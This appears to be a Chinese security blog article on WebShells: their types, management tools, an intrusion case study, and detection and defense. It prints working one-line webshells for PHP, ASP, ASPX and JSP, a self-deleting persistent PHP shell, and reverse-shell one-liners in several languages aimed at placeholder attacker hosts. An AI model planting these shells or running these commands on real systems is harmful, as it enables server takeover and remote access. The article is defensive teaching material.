WebShell是黑客经常使用的一种恶意脚本也称为木马后门。其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户文件、访问数据库、删改web页面等,其危害不言而喻。 黑客利用常见的漏洞,如文件上传、SQL注入、远程文件包含,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。
为了更好理解WebShell,需要先了解两个概念:
WebShell就是网络上的特罗伊木马,也可称为后门。黑客在对目标进行攻击时,会使用各类漏洞工具进行尝试,在攻击行为后半段,常常会使用WebShell木马对攻陷的主机进一步利用,以及后续的内网横向扩展。本文所指WebShell等同木马。
黑客之所以青睐WebShell工具,主要因为WebShell有如下三大优势:
从编程语言角度,常见的WebShell脚本类型包括asp、aspx、jsp、php。若从广义的木马角度,还可包括python、perl等脚本语言。
从木马文件大小的角度分类,可分为大马、小马、一句话木马、内存马。随着木马体积的增大,功能也相对更丰富。但其隐蔽性越弱,特征明显,容易被安全防护设备识别。具体总结如下。

体积大、功能全,具有文件管理、数据库管理、账号权限管理的能力,如phpSpy、jspSpy等常见大马。

体积小、容易被上传,一般只具备文件上传功能,通常被用于下载大马。缺点是功能单一、隐藏性差。
一句话木马相比大马有本质的区别,用一句简短的代码来承载payload,将动辄十几K或者更大的大马&小马变成了几个字节。一句话代码极为精炼,不像小马&大马一样将直接功能写在脚本文件中,因此几乎没有什么特征,很难被病毒引擎检测到。一句话木马的出现,将攻击门槛和攻击成本大幅拉低,这也是目前最常见的WebShell攻击手段。一句话木马需要配合蚁剑、菜刀、冰蝎等客户端使用,通过客户端发送功能函数到服务端,服务端将功能函数执行并将结果返回,从而实现服务器端的恶意操作。
经典一句话木马包括:
php经典一句话木马:
<?php @eval($_POST['a']);?>
asp经典一句话木马:
<%eval request("a")%>
aspx经典一句话木马:
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
jsp经典一句话木马:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
内存马是目前检测难度最高的WebShell,是一种无文件木马,在服务器端没有文件实体,而是通过Web中间件污染系统内存,实现恶意代码驻留,再通过远程工具连接即可利用中间件执行恶意操作,比一句话木马的检测难度更高,近年来备受攻击者追捧,但也有一定缺陷,比如Web中间件重启后就会被释放掉。
目前内存马主要分为:PHP内存马、Python内存马、Java内存马。

典型的内存马如PHP不死马。是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
##PHP不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘<?php @eval($_POST["123"]) ?>’;
file_put_contents("11.php", $content);
usleep(10000);
}
?>
下面以一个博彩网站为案例说明,如何用木马实现对目标主机的控制。

对网站进行扫描,发现robots.txt文件中存在管理后台访问路径。使用密码爆破功能,成功爆破出网站后台管理员账号密码为admin/passw0rd。

登录后台,发现在 界面风格>编辑模板/css文件>添加模板处将aspx一句话木马添加成html文件。

利用WebShell管理工具菜刀成功连接到我们写入的一句话木马。

利用一句话木马上传一个aspx大马至目标服务器,方便进一步操作。

查看发现目标服务器为一台数据库服务器。开放1433端口,为MS SQL Server,使用xp_cmdshell执行系统命令漏洞,对数据库新增管理员角色。

之后打开目标主机3389端口,即可对目标主机实现远程登录。从而完成对服务器的控制。

上述案例从网站后台弱密码入手,使用文件上传功能,上传一句话目标,成功连接服务器。进而对主机进行渗透,最终完成对主机的完全控制。最关键的节点为通过木马,将攻击者和服务器连接起来。
完整的渗透攻防还包括前期信息搜集、木马解析、内网穿透、提权、横向扩展、权限维持、防溯源等内容,非本文重点,此处不赘述。
常规的大马、小马、一句话木马、内存马,在木马隐蔽性和木马的功能丰富程度之间往往无法兼顾。为此,逐步发展出对WebShell木马的管理工具,能按场景生成需要的木马文件,兼顾木马免杀和功能丰富。
常用的WebShell管理工具包括,中国菜刀(Chopper)、冰蝎(Behinder)、蚁剑(AntSword)、哥斯拉(Godzilla)。通过管理工具连接上WebShell后就可以随心所欲的操作受害者主机,包括不局限于执行系统命令、探测内网、读取敏感文件、反弹shell、添加用户、清理痕迹、横向移动等操作。
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用,成名较早。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。缺点是已可被绝大部分杀毒软件精准识别。

“冰蝎”是一个基于Java开发的动态二进制加密通信流量的新型WebShell客户端,可跨平台使用。目前最新版本为v4.1,兼容性较之前的版本有较大提升。由于其基于流量加密的的特性,冰蝎逐渐成为了红队成员在攻防演练期间经常使用的工具。
冰蝎主要功能有:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大。
冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

中国蚁剑是一款开源的跨平台网站管理工具,源码建立在中国菜刀工具上。主要功能包括WebShell管理、文件管理、终端管理、数据库管理等功能。



哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端。内置了多种有效载荷、加密器,支持内置插件,是目前在护网中使用较多的一款工具。


除了上述专门针对WebShell的管理工具,还有一类平台,专注于安全攻防全流程的渗透测试平台,也可称为远控工具。常见远程管理控制工具包括MSF、CobaltStrike、Armitage等。
Metasploit,开源软件
Metasploit,简称MSF,是一款开源的渗透测试框架。默认集成在Kali系统中,用户也可自行安装。所有的 Metasploit 版本都可在 Unix(包括Linux和Mac OS X)和 Windows 上运行。Github地址:https://github.com/rapid7/metasploit-framework。
其内含软件和其他产品的安全漏洞利用代码块,可以抽取各类系统的信息,或者在设备上开启远程控制。
msf为总模块,其他均为分支模块:
辅助模块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
后渗透攻击模块 (Post),用于内网渗透的各种操作;
编码器模块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式)。

Cobalt Strike,商业软件
Cobalt Strike,常被业界称为CS神器。同样是一款出色的渗透测试框架,为商业软件。它分为客户端与服务端。服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
Team Server为团队服务器及Beacon 控制器,用于存储搜集各种数据、管理日志等。团队中的所有成员可以使用自己的Client端登录到Team Server实现协调作战。Beacon 是CobaltStrike 的 payload,常用的通信方式有HTTP、HTTPS和DNS隧道,除了DNS隧道,其他通信方式的回联端口均可自行设定。


上面讲述了WebShell的攻,下面讲述WebShell的防。
WebShell的检测方式当今主流使用如下四种方式。
技术原理:对脚本文件本身的hash值、文本内容中所使用的关键词、高危函数、文件修改时间、文件权限、文件所有者以及和其它文件的关联性等多个维度的特征进行检测,要求首先建立一个恶意字符串特征库用于比对。常见高危函数:
数据传递
$_GET、$_POST、$_COOKIE、$_SERVER
命令执行
exec、passthru、shell_exec、system、eval
文件操作与远程 URL
file、file_get_contents、fopen、curl、fsockopen
回调函数
call_user_func、call_user_func_array、array_maparry_filter
其他高危函数
phpinfo、preg_replace、create_function、unserialize
优点:可快速检测,快速定位,对已知WebShell查找准确率高。
缺点:容易误报,无法对加密或者经过特殊处理的WebShell文件进行检测。尤其是针对窃密型WebShell无法做到准确的检测。窃密型Webshel通常具有和正常的WEB脚本文件具有相似的特征。
由于所要完成的功能不同,攻击者访问 WebShell 脚本所产生的流量和正常 Web 页面请求所产生的流量模式不同,基于通信流量的检测就是通过对流量进行分析发现不同寻常的流量。
基于流量的检测是基于文件检测的一个重要补充,在某些场景下获取文件并对其进行检测是困难的,并且如内存马为无文件马,无法通过文件的方式进行检测,这时基于流量的检测就成为最重要的检测方式。
技术原理:采用流量(网关)型检测方式,先对流量"可视化”,检测WebShell在访问过程中产生的payload网络流量。经过一定的payload积累和规则定制,再经过和其它检测过程相结合形成一套基于流量分析WebShell检测引擎,嵌入到现有的网关型设备或云上实现WebShell的深度分析。
优点:可实时检测并阻止,还原攻击场景,快速定位主机和入侵者。
缺点:模型建立复杂(研发成本),无法检测加密payload。流量镜像部署成本。
进行网络流量检测,基于 WebShell 木马自身的静态特征进行识别。一些经典WebShell管理工具,如菜刀、蚁剑、冰蝎、哥斯拉等,它们所提供的 WebShell 具有一些固定的静态特征(即代码特征),成为流量类安全系统(如NDR/态势感知/WAF等)可以依赖的检测信标。总结如下:
菜刀WebShell的动态特征:
请求体中传递的payload为base64编码,并且存在固定,QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
蚁剑WebShell动态特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符。
响应包的结果返回格式为 随机数 结果 随机数
冰蝎WebShell木马动态特征:
2.0版本中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.0版本在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
哥斯拉WebShell动态特征:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
流量检测不仅对已知WebShell进行检测,还能识别出未知的、伪装性强的WebShell或组件反弹shell行为。对WebShell的访问特征(IP/UA/Cookie)、payload特征、path特征、时间特征等进行关联分析,以时间为索引,还原攻击事件。
流量检测恶意行为的方式,使用广泛,在安全产品iast交互式应用程序安全测试、rasp运行时应用自我保护技术中,均有用到。
日志分析的WebShell检测,即根据确定的攻击事件来回溯已发生的攻击事件,再根据这用事件特征来防范在未来某时段内遭受到的相同攻击。其检测方式是先找到异常日志,再找到攻击日志,整个过程分两步:WebShell提取 + WebShell确认。
WebShell的提取依据以下特征:访问特征(主要特征)、path特征(辅助特征)、时间特征(辅助特征)、Payload特征(辅助特征)、行为特征 。
WebShell的确认要根据其网页特征(网页的内容/结构、视觉)来确认。提取确认WebShell的访问者特征(IP/UA/Cookie),Payload特征,时间特征,关联搜索,将搜索结果按时间排序,还原事件。
通过日志发现WebShell攻击的检测方式,在安全运营中心soc中较为常用。如常见的反弹shell命令,使用规则实时检测主机命令,可及时发现反弹shell行为,进而锁定攻击目标,进行阻断。
常见的反弹shell命令包括:
0x01 bash版本
bash -i >& /dev/tcp/attackerip/1234 0>&1
0x02 nc 版本
nc -e /bin/sh attackerip 1234
0x03 Telnet 版本
mknod backpipe p && telnet attackerip 8080 0backpipe
0x04 Perl 版本
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
0x05 Python 版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x06 php 版本
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
0x07 java 版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
0x08 ruby 版本
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
基于统计学的WebShell分析主要是根据WebShell脚本与正常源码的差异性来识别。根据上面对WebShell的特征分析,可以从多个方面进行基于统计学的分析技术。
(1)文件的重合指数index of coincidence(缩写为IC),用来判断文件是否被加密的一种方法。
(2)信息熵,一个数学上的抽象概念,这里把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。
(3)文件中的最长单词,在通过base64等一些加密后的WebShell一般形成一整串字符串,为正常的源码一般都不会这样。
(4)文件的压缩比,压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。那么对于base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。
(5)特征值匹配,第一个是匹配特征函数和代码,第二个是指匹配特定WebShell中的特征值。
在具体实现上,典型的代表为NeoPI。项目地址:https://github.com/CiscoCXSecurity/NeoPI。NeoPi采用的统计学分析方法就是以上五种技术。
采用这种检测方法也存在明显的弱点,NeoPi的检测重心在于识别混淆代码,它常常在识别模糊代码或者混淆编排的木马方面表现良好。未经模糊处理的代码对于NeoPi的检测机制较为透明。如果代码整合于系统中的其它脚本之上,这种“正常”的文件极可能无法被NeoPi识别出来。
对于WebShell木马的防御,主要思路是切断其攻击链路。发现文件上传点——上传文件并解析——出内网连接攻击端——提权——获取数据——横向扩展——权限维持——痕迹清理。是一个完整的攻击链路。
从企业防护角度,可从如下三方面入手。
D盾防火墙(病毒检测工具)
http://www.d99net.net

VirusTotal在线木马检测平台(集成多个国内外安全引擎)
https://www.virustotal.com/gui/home/upload

微步在线云沙箱病毒威胁检测平台
https://s.threatbook.cn

河马-内存马在线查杀平台
https://n.shellpub.com/

本文主要介绍了WebShell木马的特点、攻击方式及检测防护方法。WebShell编码简单,使用方便,而且功能丰富,是黑客钟爱的一种利用方式。尤其在历年护网行动中,WebShell木马的成功植入,是攻击方红队的得分利器。
企业在预防WebShell攻击方面需注重安全意识培训、安全开发、线上安全监测、定期审计等。而未来的趋势将聚焦于整合人工智能、零信任模型和协同防御。实现对异常行为的实时检测与响应,进一步加强对WebShell等潜在威胁的阻击能力,帮助企业构筑更为强大的网络安全体系。
米桃安全漏洞讲堂系列第3期:任意文件上传漏洞-CSDN博客
米桃安全漏洞讲堂系列第2期:XSS跨站脚本攻击漏洞-CSDN博客
米桃安全漏洞讲堂系列第1期:SQL注入漏洞-CSDN博客